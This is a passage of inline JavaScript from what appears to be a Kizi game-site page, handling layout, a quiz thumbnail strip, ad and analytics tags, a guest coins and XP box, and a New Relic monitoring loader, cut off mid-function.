if(!active_layout.left_similar){ $("#left_similar").hide(); } if(!active_layout.bottom_similar){ $("#bottom_similar").hide(); } // see if some manual layout adjustments are required // ================================================== // if the strip is too narrow, if we have a play on mobile button we shrink it if (game_strip_width < 770 && $("#play_on_mobile_btn").length){ $("#play_on_mobile_btn a").css({paddingRight: 0}).contents()[1].remove(); // remove text $("#play_on_mobile_btn").removeClass("btn_with_text"); $("#play_on_mobile_btn div").removeClass("icon_with_text"); } // shrink walkthrough button if needed if (game_strip_width < 690 && $("#walkthrough_btn").length > 0 && $("#play_on_mobile_btn").length > 0){ $("#walkthrough_btn a").css({paddingRight: 0}).contents()[2].remove(); // remove text $("#walkthrough_btn").removeClass("btn_with_text"); $("#walkthrough_btn div").removeClass("icon_with_text"); } var all_banners = game_layout_object.all_banners; if (all_banners.indexOf('300x250_ATF-Left') != -1 || all_banners.indexOf('300x250_ATF-Right') != -1){ $("#top_banner_holder").height(250); } // adjust bottom_banner_holder width if (active_layout.matomy_changes_applied){ $("#bottom_banner_holder").css({width: "728px", height: "250px"}); // if matomy changes were applied, we need to move the 300x250 banners to bottom var elements = $('.move_to_bottom_if_matomy').detach(); $(elements[0]).addClass('fl'); $(elements[1]).addClass('fr'); $("#bottom_banner_holder").append(elements); } // TODO: see if this can be set in css now that there's always a WT // there's a walkthrough, so no need for 150px from bottom banner $("#bottom_banner_holder").css("margin-top", "20px"); // reveal the game strip after layout is ready (+ set css) $(".game_data_container").css({display: 'block', width: (game_strip_width + 2 * final_game_strip_side_padding - 2 * GAME_DATA_CONTAINER_PADDING) + "px", paddingLeft: GAME_DATA_CONTAINER_PADDING + "px", paddingRight: GAME_DATA_CONTAINER_PADDING + "px"}); // fixed 10px side-padding on game data containers $(".game_strip").css({display: 'block', height: game_strip_height + "px", width: game_strip_width + "px", paddingLeft: final_game_strip_side_padding + "px", paddingRight: final_game_strip_side_padding + "px"}); if (active_layout.bottom_similar){ $("#bottom_similar").css({width: (game_strip_width + 2 * final_game_strip_side_padding) + "px", height: "140px"}); // no need for 150px from bottom banner $("#bottom_banner_holder").css("margin-top", "30px"); } handle_video_strip_layout(game_strip_width, game_strip_height, final_game_strip_side_padding); } function handle_video_strip_layout(video_strip_width, video_strip_height, side_padding){ var required_width_for_video_banners_and_similars = 0; var video_box_side_padding = 10; var back_to_game_btn_visible = true; // layout-specific settings for video strip switch (game_layout_object.active_layout.walkthrough_layout){ case "left_300_right_300_horizontal_similars": $("#video_left_banner").css({width: "300px"}); $("#video_right_banner").css({width: "300px"}); // $("#video_horizontal_similars").show(); $("#youtube_large_button").show(); $("#back_to_game").show(); $("#back_to_game_btn").hide(); back_to_game_btn_visible = false; required_width_for_video_banners_and_similars = 2 * 300; break; case "left_160_vertical_similars": $("#video_left_banner").css({width: "160px"}); $("#video_left_vertical_similar").show(); required_width_for_video_banners_and_similars = 160 + 150; video_box_side_padding = 0; break; case "left_120_vertical_similars": $("#video_left_banner").css({width: "120px"}); $("#video_left_vertical_similar").show(); required_width_for_video_banners_and_similars = 120 + 150; video_box_side_padding = 0; break; case "left_120_right_120_no_similar": $("#video_left_banner").css({width: "120px"}); $("#video_right_banner").css({width: "120px"}); required_width_for_video_banners_and_similars = 2 * 120; break; case "only_video": video_box_side_padding = 0; break; } var video_box_width = video_strip_width - required_width_for_video_banners_and_similars - (2 * video_box_side_padding); $("#video_box").css({width: video_box_width, height: video_strip_height, padding: "0 " + video_box_side_padding + "px"}); calc_video_proportions(video_box_width, video_strip_height); $(".video_strip").css({display: 'block', height: video_strip_height, width: video_strip_width + "px", paddingLeft: side_padding + "px", paddingRight: side_padding + "px"}); // position the footer content right under the video and centered to it (there are several layout options) var margin = Math.floor($("#VideoEmbed").offset().left - $("#video_on_gamepage").offset().left - GAME_DATA_CONTAINER_PADDING); $("#footer_content").css({marginLeft: margin + "px", width: video_final_width + "px"}); // TODO: add to css // if not chapters, vertically align the video title $("#video_data .game_name_container h1").addClass("no_chapters"); } function calc_video_proportions(video_box_width, video_box_height){ video_final_width = video_box_width; video_final_height = video_box_height; $("#VideoEmbed").css({width: video_final_width + "px", height: video_final_height + "px"}); } function calc_similar_amount(){ var number_of_holders = $(":visible.similar_games_holder").length; var margin = 8; var height = game_strip_height - margin; var similar_amount_per_holder = Math.floor(height / (SIMILAR_GAME_TILE_HEIGHT + margin)); var spair_height = height - similar_amount_per_holder * (SIMILAR_GAME_TILE_HEIGHT + margin); $(".similar_games_holder").css({paddingTop: (spair_height / 2) + "px"}); $("#video_left_vertical_similar").css({paddingTop: (spair_height / 2) + "px"}); return similar_amount_per_holder * number_of_holders; } function calc_bottom_similar_amount(){ var number_of_holders = 1; var margin = 12; var width = game_strip_width - margin; var similar_amount_per_holder = Math.floor(width / (SIMILAR_GAME_TILE_WIDTH + margin)); var spair_width = width - similar_amount_per_holder * (SIMILAR_GAME_TILE_WIDTH + margin); $("#bottom_similar").css({paddingLeft: (final_game_strip_side_padding + (margin / 2) + (spair_width / 2)) + "px"}); return similar_amount_per_holder * number_of_holders; } function FirstImpression_ad_below_game(){ paddingAmount = 150 - ((620 - game_initial_height)/2 + 90); logoMarginAmount = paddingAmount / 2; paddingAmount -= logoMarginAmount; if (paddingAmount < 20) { paddingAmount = 20; logoMarginAmount = 20; } $("div.kiziCSSControl").prepend('<img alt="Logo" src="http://cdn0.kizi.com/assets/collections/logo_140x90-8663bc5d48853b4b15d323f21fa1e8fa.png " style="margin:0 auto '+logoMarginAmount+'px auto" />').css({"paddingTop":paddingAmount+"px", "margin":"0 auto 50px auto"}); } </script><script type="text/javascript"> var game_swf_callback = null; flashvars = {game_id: game_id, game_permalink: game_permalink, show_midroll: show_midroll, authtoken: authtoken, apiSwfUrl: getApiSwfFilename(), apiGateway: "http://kizi.com/api", loglevel: loglevel} params = {allowScriptAccess: "always", base: ".", quality: "high", wmode: "window"}; attributes = {id: "GameEmbedSWF", style: "z-index:1" }; if (flashvars.game_permalink == null || flashvars.game_permalink == "null") report_error("Game permalink is null!"); swfobject.embedSWF(swfURL, "GameEmbedDummy", game_final_width, game_final_height, "9.0.0", false, flashvars, params, attributes, game_swf_callback); </script><script> var quiz_started_at; var quiz_origin; var current_quiz; var thumbs_holder_height; var quiz_items_height; var thumbs_holder_width; var quiz_items_width; var prerollUnit = "Kizi_quiz_preroll_html5"; var thumbs_counter = 0; var right_pannel_width = 204; //204 = 180 activity box + 20 margin + 4 border var quizzes_list = [{"permalink":"bob-the-robber-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Bob_Sudoku-1b42bd40863e3daff77494e9fa1deb90.png","title":"Bob The Robber Sudoku","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB2-4089265e6e58d166c2d015467e4898fc.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB2-e3775be80dd12db3174f5719fca2aae9.png"},{"permalink":"fireboy-and-watergirl-maze-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG3_240x180-7f70e222894446ae4f488087711446a0.png","title":"Fireboy and Watergirl maze 2","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG2-4a772977942e5d5ca2278f7a8f815219.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG2-a0df1b3188e118806ec9b3f51ae2551a.png"},{"permalink":"fireboy-and-watergirl-maze","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Maze_FBWG1_240x180-3134e4bc45c8089f3daf1fc475e70276.png","title":"Fireboy and Watergirl maze","game":"fireboy-and-watergirl-the-forest-temple","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_FBWG1-48130058b56a8695d57b1b1192cab458.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_FBWG1-61fc9f4d4aee4eaf034d9e04b4a32a71.png"},{"permalink":"do-you-know-all-papa-louie-characters","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q1-c1dffaf34178f9febde27da25394101c.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL1-cf0a39154a18b51b67eca72209bcd431.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL1-2020aee0eda5945cd2c7958a0e8c3d5a.png"},{"permalink":"papa-loui-characters-quiz","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Papas_240x180_Q2-5257917f3687ce70e01add459590fa3a.png","title":"Do You Know Papa's Characters?","game":"papa-louie-3-when-sundaes-attack","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_PL2-d7553c0de19b3ce3768b10d15a2b2995.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_PL2-d89aa107b11103c212bc9fae9fb35cb2.png"},{"permalink":"are-you-a-dynamons-master","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Game-c9290da663591012fb4d473e099f0434.png","title":"Guess the game","game":"kiziland","thumb150":"http://cdn0.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_Kizi1-0d03e9f60d07d239a733bf0cf32a6bd5.png","thumb300":"http://cdn0.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_Kizi1-b07844abd6470027b7ef6e1034dfc9a5.png"},{"permalink":"can-you-guess-the-food","height":640,"width":640,"format":"Gallery Quiz","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Food-aacac70901a77c6d1646c154443645ac.png","title":"Guess the food","game":"papas-freezeria"},{"permalink":"which-shape-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_ShapeQuiz-297fa28438f0d82c9f0853440610b768.png","title":"Which shape is missing?","game":"kiziland"},{"permalink":"match-flip-quiz","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Matches-3a505ee78533efbeba1f8d8e8e7082cc.png","title":"Match equations","game":"kiziland"},{"permalink":"help-bob-find-the-code","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Bob_ColorCode-3c8ff55fc34152870ee2d820ce4bcc85.png","title":"Help Bob find the code","game":"bob-the-robber-3","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_BOB1-29ff2fdde96db42d4884b3e89be12601.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_BOB1-de3a14031d0a619661d15adf22b2295d.png"},{"permalink":"addition-and-subtraction-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math2-552366d02d17b63c71dba2b0a778bd46.png","title":"Addition and subtraction problems","game":"kiziland"},{"permalink":"advanced-math-riddles","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math3-b68531e3276b52fc06a1ab1bda4f4266.png","title":"Advanced math riddles","game":"kiziland"},{"permalink":"math-problems","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Math4-6ad8021acf7255cbbe6b5d82e4de4ed6.png","title":"Math problems","game":"kiziland"},{"permalink":"a-which-way-should-kizi-go","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Maze-bcf4cf34aa8557cc4232f85d7f3b05ae.png","title":"Which way should Kizi go?","game":"kiziland"},{"permalink":"b-can-you-solve-this-problem","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Math-cae16c45dd9271b1cc24d63bfd8165af.png","title":"Math riddles","game":"kiziland"},{"permalink":"c-which-kizi-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_different-990c9ca86b749021aabb3f5a64b46e92.png","title":"Which Kizi is different?","game":"kiziland"},{"permalink":"which-dynamons-is-different","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-different-0deb1cdb1aee2cd9e73549eeb44e5653.png","title":"Which Dynamons is different?","game":"dynamons-world"},{"permalink":"dynamons-sudoku","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Sudoku-0b0fc0cc64df2c14e10bb78126282d5b.png","title":"Dynamons Sudoku","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN3-16759f14b3c8e186a33e98dc57871446.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN3-85013dfff0d7354d7b5b2f8d06302775.png"},{"permalink":"dynamons-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow1-b4323c5f018ee52fcb3ff3f4bab8e220.png","title":"Dynamons Shadow Quiz 1","game":"dynamons-world","thumb150":"http://cdn1.kizi.com/assets/quiz/150x150/Quiz-Thumb_Games_150x150_DYN1-63fdb2172636b760514009996cac7920.png","thumb300":"http://cdn1.kizi.com/assets/quiz/300x300/Quiz-Thumb_Games_300x300_DYN1-bb6897f74ac046ca2ce19af5c8d17917.png"},{"permalink":"dynamons-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Dyno-shadow2-0ef85aed5de8b5ba790bf6011b914250.png","title":"Dynamons Shadow Quiz 2","game":"dynamons-world"},{"permalink":"kiziland-shadow-quiz-1","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow1-df5c3db3e5835356830ee1bd1b495325.png","title":"Kiziland Shadow Quiz 1","game":"kiziland"},{"permalink":"kiziland-shadow-quiz-2","height":640,"width":640,"format":"Trivia","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_kiziland-shadow2-d6e77d4c3970d910399a31fa0a134e3a.png","title":"Kiziland Shadow Quiz 2","game":"kiziland"},{"permalink":"which-piece-is-missing","height":640,"width":640,"format":"Trivia","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Missing-cbfba4b70000fd4796712b55755db57d.png","title":"Which piece is missing?","game":"kiziland"},{"permalink":"what-comes-next","height":640,"width":640,"format":"Flip Cards","thumb":"http://cdn1.kizi.com/assets/quiz/Thumbs_240x180_Next-7108b37ae3add2a1d2c432d9c5604f69.png","title":"What comes next ?","game":"kiziland"},{"permalink":"which-kizi-are-you","height":640,"width":640,"format":"Personality Quiz","thumb":"http://cdn0.kizi.com/assets/quiz/Thumbs_240x180_Which-90543fd5aa2cf2233fae5d58dab0cd82.png","title":"Which Kizi are you?","game":"kiziland"}]; $(window).ready(function () { var quiz_items_holder = $("#quiz_strip div#quiz_items"); var link_target = (page_type == 'quiz') ? '_self' : '_blank'; var quizzes_list_title = (page_type == 'game') ? 'Fun activities' : 'More quizzes'; $('#quiz_strip').find('h1 div').after(quizzes_list_title); $.each(quizzes_list, function(i, elem) { if(typeof(current_permalink) != 'undefined' && current_permalink == elem.permalink) { return true; } thumbs_counter += 1; var quiz_link = $("<a/>", { href: '/quizzes/' + elem.permalink, elem_id: i, target: link_target }).css({background:"url(" + elem.thumb + ") no-repeat"}); var quiz_item = $("<div/>", {class: "quiz_item fl"}); quiz_item.append(quiz_link) quiz_items_holder.append(quiz_item) }); thumbs_holder_width = game_strip_width - ($("#quiz_strip #quiz_arrow_left").outerWidth(true) * 2); quiz_items_width = ((thumbs_counter - 1) * $("#quiz_strip .quiz_item:eq(1)").outerWidth(true)) + $("#quiz_strip .quiz_item:eq(0)").outerWidth(true) + 4; $("#quiz_strip .quiz_thumbs_holder").width(thumbs_holder_width); $("#quiz_strip #quiz_items").width(quiz_items_width); $("#quiz_strip .sub_box_body").mCustomScrollbar({ horizontalScroll: true, mouseWheelPixels: 300, scrollButtons: { enable: true }, callbacks:{ whileScrolling: function() { var left = $("#quiz_strip .mCSB_container").position().left if(left > -20) { $("#quiz_strip #quiz_arrow_left div").addClass("arrow_left_disabled"); } else { $("#quiz_strip #quiz_arrow_left div").removeClass("arrow_left_disabled"); } if(left * -1 + thumbs_holder_width + 20 > quiz_items_width) { $("#quiz_strip #quiz_arrow_right div").addClass("arrow_right_disabled"); } else { $("#quiz_strip #quiz_arrow_right div").removeClass("arrow_right_disabled"); } } } }); $("#quiz_strip #quiz_arrow_right").click(function () { $("#quiz_strip .sub_box_body").mCustomScrollbar("scrollTo", parseInt($("#quiz_strip .mCSB_container").css("left")) * -1 + $("#quiz_strip .sub_box_body").width()); }); $("#quiz_strip #quiz_arrow_left").click(function () { $("#quiz_strip .sub_box_body").mCustomScrollbar("scrollTo", parseInt($("#quiz_strip .mCSB_container").css("left")) * -1 - $("#quiz_strip .sub_box_body").width()); }); $("#quiz_strip .quiz_item").click(function (event) { if(page_type == 'game') { createCookie('quiz_origin', 'Gamepage'); } else { createCookie('quiz_origin', 'MoreQuizzes'); } }); }); </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "666666"; var google_conversion_label = "sfmyCIywkgIQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "ffffff"; var google_conversion_label = "ohbiCITEkQMQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 1062041628; var google_conversion_language = "en"; var google_conversion_format = "3"; var google_conversion_color = "ffffff"; var google_conversion_label = "gZLxCPTFkQMQnPC1-gM"; var google_conversion_value = 0; /* ]]> */ </script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> // display relevant ad slots layout_object.all_banners.forEach(function(banner_name) { var div_id = layout_object.get_ad_div_id(banner_name); var size = layout_object.extract_ad_size(banner_name); // check if custom code for this ad unit exists if ($.find("#CODE_FOR_"+banner_name).length > 0) { var script = document.createElement("script"); script.innerHTML = $("#CODE_FOR_"+banner_name).html(); $("#" + div_id).append(script).width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); } else { if (!openx_enabled){ // Default DFP call // (also setting width and height to avoid a 'jump' in layout when the ad content is loaded) $("#" + div_id).append("<script>googletag.cmd.push(function() {googletag.display('" + div_id + "');});<\/script>").width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); }else{ // Default DFP call // (also setting width and height to avoid a 'jump' in layout when the ad content is loaded) $("#" + div_id).width(size[0]).height(size[1]).attr({"data-banner-name": ("kizi_" + banner_name)}); } } }); if (openx_enabled){ oxBidRequestPromise.then(function (bids) { console.log('get bids response', bids); googletag.cmd.push(function () { ad_slots.forEach(function (slot) { oxhbjs.setOxTargetingForGoogletagSlot(slot, bids); }); layout_object.all_banners.forEach(function(banner_name) { var div_id = layout_object.get_ad_div_id(banner_name); googletag.display(div_id); }); googletag.display('div-gpt-ad-1421239811025-0'); }); }); } </script><script type="text/javascript"> if (is_html5_game || flash_supported()) { showPreRoll(ad_width, ad_height, ad_mode); } </script><script type="text/javascript"> var google_tag_params = { dynx_itemid: "807", dynx_pagetype: 'home' }; </script><script type="text/javascript"> /* <![CDATA[ */ var google_conversion_id = 882084325; var google_custom_params = window.google_tag_params; var google_remarketing_only = true; /* ]]> */ </script><script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js"> </script><script type="text/javascript"> $(window).ready(function () { $('#install_wrapper').show(); $('#install_wrapper').hover(function() { $(this).children('div').show('slow'); }, function(){ $(this).children('div').hide().stop(true, true); }); if ($(document).width() < 1260) { $("#game_header_container").addClass("narrow_screen"); } // send event if walkthrough button is clicked $('#walkthrough_btn').on('click', function() { ga('send', { hitType: 'event', eventCategory: 'Games', eventAction: 'Walkthrough', eventLabel: document.location.href }); }) // fullscreen logic $("#game_user_info_box_container").replaceWith("<div id=\"game_user_info_box_container\">\n\n <div id=\"user_avatar_thumb\" style=\'cursor: pointer;position: relative;\'>\n\n <a href=\"#\" title=\"Sign Up\" onclick=\"open_join_kizi_popup()\">\n\n <img alt=\"Missing_avatar_medium\" id=\"user_image\" src=\"http://cdn0.kizi.com/assets/avatars/missing_avatar_medium-392dc8ea63046044f92b68fae656614d.png\" />\n <\/a>\n <\/div>\n\n <div class=\"name_and_xp\">\n <div class=\"fl user_box_white_text\" style=\"text-align: left;line-height: 27px;font-size: 15px;\">\n <div style=\"width:80px\">Guest<\/div>\n <\/div>\n\n <div class=\"clr\"><\/div>\n <div id=\"usr_exp_bar\">\n <div style=\"width:98%;\">\n <div id=\"exp_user_level\">Level 1<\/div>\n <div id=\"exp_bar_fill\">\n <\/div>\n <\/div>\n <\/div>\n <script>\n animate_xp_bar(Math.round(0.0));\n <\/script>\n\n <\/div>\n\n\n\n <div id=\"coins_container\">\n <img alt=\"Coins\" class=\"fl\" onclick=\"purchaseCoins()\" src=\"http://cdn0.kizi.com/assets/collections/coins-b0c4a9e2dd40550e61f8ead802d16d6a.png\" style=\"margin:9px 0 0 3px;cursor: pointer;\" />\n <div id=\"coins_counter\" class=\"kizi_font coins_counter\">\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\"><\/div>\n <div class=\"counter_cell\" style=\"border-right: none\"><\/div>\n <\/div>\n <\/div>\n <div id=\"get_coins_homepage\" onclick=\"purchaseCoins()\">\n <img src=\"http://cdn0.kizi.com/assets/collections/add_coins-64cadcd2c044bd9d071dbad85b5f26f5.png\" style=\"margin-top:11px\" />\n <div id=\"mini_games_notifications\" style=\"display: none;top: 0;right: -4px\"><\/div>\n <\/div>\n\n\n\n\n <div class=\"signup kizi_font prevent_select\" onclick=\"open_join_kizi_popup()\">Sign Up<\/div>\n <div class=\"login kizi_font prevent_select\" onclick=\"open_login_popup()\">Login<\/div>\n\n\n <div style=\"display:none\" id=\"kizi_popups\"><\/div>\n\n<\/div>\n\n<script type=\"text/javascript\">\n current_coins_amount = 8000;\n animate_counter(current_coins_amount);\n\n function add_coins(delta) {\n current_coins_amount += delta;\n animate_counter(current_coins_amount);\n }\n\n function update_coins(value) {\n current_coins_amount = value;\n animate_counter(current_coins_amount);\n }\n\n function update_xp_progression(progression) {\n animate_xp_bar(Math.round(progression));\n }\n\n function update_level(new_level) {\n $(\"#usr_exp_bar\").css({width: $(\"#usr_exp_bar\").width() + \"px\"});//this fixes weird explorer bug of 2 line xp bar\n $(\"#exp_user_level\").html(\"Level \" + new_level)\n }\n<\/script>\n"); //Cookies Consent if($.jStorage.get("cookie_aware_client") == 'false') { $.jStorage.set("cookie_aware_client", 'true'); } RatingBox.initialize("", 997825, 122969); }); window_focused = true; $(window).focus(function () { window_focused = true; }).blur(function () { window_focused = false; }) </script><script type="text/javascript"> var current_game_play_number = increment_local_gameplay_count_in_last_24h(); </script><script type="text/javascript"> $("#language_box_footer .flag_container").mouseenter(function () { $("#language_box_footer .flag_selector").show() }); $("#language_box_footer").mouseleave(function () { $("#language_box_footer .flag_selector").hide() }); </script><script src="https://apis.google.com/js/platform.js"></script><script type='text/javascript'> $(window).load(function () { setTimeout(function () { $("#facebook_like").show().html('<iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Ffacebook.com%2Fkizi&amp;send=false&amp;layout=button_count&amp;width=90&amp;show_faces=false&amp;font&amp;colorscheme=light&amp;action=like&amp;height=21&amp;appId=144148175670416&amp;locale=en_US" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:90px; height:21px;margin-top:5px;" allowTransparency="true"></iframe>'); }, 2000); }); var googletag = googletag || {}; googletag.cmd = googletag.cmd || []; (function() { var gads = document.createElement('script'); gads.async = true; gads.type = 'text/javascript'; var useSSL = 'https:' == document.location.protocol; gads.src = (useSSL ? 'https:' : 'http:') + '//www.googletagservices.com/tag/js/gpt.js'; var node = document.getElementsByTagName('script')[0]; node.parentNode.insertBefore(gads, node); })(); </script><script data-cfasync='false' type='text/javascript'> window.apd_options = { 'websiteId': 6731, 'runFromFrame': false }; (function() { var w = window.apd_options.runFromFrame ? window.top : window; if(window.apd_options.runFromFrame && w!=window.parent) w=window.parent; if (w.location.hash.indexOf('apdAdmin') != -1){if(typeof(Storage) !== 'undefined') {w.localStorage.apdAdmin = 1;}} var adminMode = ((typeof(Storage) == 'undefined') || (w.localStorage.apdAdmin == 1)); w.apd_options=window.apd_options; var apd = w.document.createElement('script'); apd.type = 'text/javascript'; apd.async = true; apd.src = '//' + (adminMode ? 'cdn' : 'ecdn') + '.firstimpression.io/' + (adminMode ? 'fi.js?id=' + window.apd_options.websiteId : 'fi_client.js') ; var s = w.document.getElementsByTagName('head')[0]; s.appendChild(apd); })();</script><script type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam.nr-data.net","errorBeacon":"bam.nr-data.net","licenseKey":"d70c02ccfe","applicationID":"34083207","transactionName":"cFldEBBdCAkESx9UAF5TQEsRWgsS","queueTime":2,"applicationTime":25,"ttGuid":"","agentToken":null,"agent":""}</script><script type="text/javascript">(window.NREUM||(NREUM={})).loader_config={xpid:"UQ4GUlRACwcAXFJQBwY="};window.NREUM||(NREUM={}),__nr_require=function(t,n,e){function r(e){if(!n[e]){var o=n[e]={exports:{}};t[e][0].call(o.exports,function(n){var o=t[e][1][n];return r(o||n)},o,o.exports)}return n[e].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<e.length;o++)r(e[o]);return r}({1:[function(t,n,e){function r(t){try{s.console&&console.log(t)}catch(n){}}var o,i=t("ee"),a=t(15),s={};try{o=localStorage.getItem("__nr_flags").split(","),console&&"function"==typeof console.log&&(s.console=!0,o.indexOf("dev")!==-1&&(s.dev=!0),o.indexOf("nr_dev")!==-1&&(s.nrDev=!0))}catch(c){}s.nrDev&&i.on("internal-error",function(t){r(t.stack)}),s.dev&&i.on("fn-err",function(t,n,e){r(e.stack)}),s.dev&&(r("NR AGENT IN DEVELOPMENT MODE"),r("flags: "+a(s,function(t,n){return t}).join(", ")))},{}],2:[function(t,n,e){function r(t,n,e,r,s){try{p?p-=1:o(s||new UncaughtException(t,n,e),!0)}catch(f){try{i("ierr",[f,c.now(),!0])}catch(d){}}return"function"==typeof u&&u.apply(this,a(arguments))}function UncaughtException(t,n,e){this.message=t||"Uncaught error with no additional information",this.sourceURL=n,this.line=e}function o(t,n){var e=n?null:c.now();i("err",[t,e])}var i=t("handle"),a=t(16),s=t("ee"),c=t("loader"),f=t("gos"),u=window.onerror,d=!1,l="nr@seenError",p=0;c.features.err=!0,t(1),window.onerror=r;try{throw new Error}catch(h){"stack"in h&&(t(8),t(7),"addEventListener"in window&&t(5),c.xhrWrappable&&t(9),d=!0)}s.on("fn-start",function(t,n,e){d&&(p+=1)}),s.on("fn-err",function(t,n,e){d&&!e[l]&&(f(e,l,function(){return!0}),this.thrown=!0,o(e))}),s.on("fn-end",function(){d&&!this.thrown&&p>0&&(p-=1)}),s.on("internal-error",function(t){i("ierr",[t,c.now(),!0])})},{}],3:[function(t,n,e){t("loader").features.ins=!0},{}],4:[function(t,n,e){function r(t){}if(window.performance&&window.performance.timing&&window.performance.getEntriesByType){var o=t("ee"),i=t("handle"),a=t(8),s=t(7),c="learResourceTimings",f="addEventListener",u="resourcetimingbufferfull",d="bstResource",l="resource",p="-start",h="-end",m="fn"+p,w="fn"+h,v="bstTimer",y="pushState",g=t("loader");g.features.stn=!0,t(6);var b=NREUM.o.EV;o.on(m,function(t,n){var e=t[0];e instanceof b&&(this.bstStart=g.now())}),o.on(w,function(t,n){var e=t[0];e instanceof b&&i("bst",[e,n,this.bstStart,g.now()])}),a.on(m,function(t,n,e){this.bstStart=g.now(),this.bstType=e}),a.on(w,function(t,n){i(v,[n,this.bstStart,g.now(),this.bstType])}),s.on(m,function(){this.bstStart=g.now()}),s.on(w,function(t,n){i(v,[n,this.bstStart,g.now(),"requestAnimationFrame"])}),o.on(y+p,function(t){this.time=g.now(),this.startPath=location.pathname+location.hash}),o.on(y+h,function(t){i("bstHist",[location.pathname+location.hash,this.startPath,this.time])}),f in window.performance&&(window.performance["c"+c]?window.performance[f](u,function(t){i(d,[window.performance.getEntriesByType(l)]),window.performance["c"+c]()},!1):window.performance[f]("webkit"+u,function(t){i(d,[window.performance.getEntriesByType(l)]),window.performance["webkitC"+c]()},!1)),document[f]("scroll",r,{passive:!0}),document[f]("keypress",r,!1),document[f]("click",r,!1)}},{}],5:[function(t,n,e){function r(t){for(var 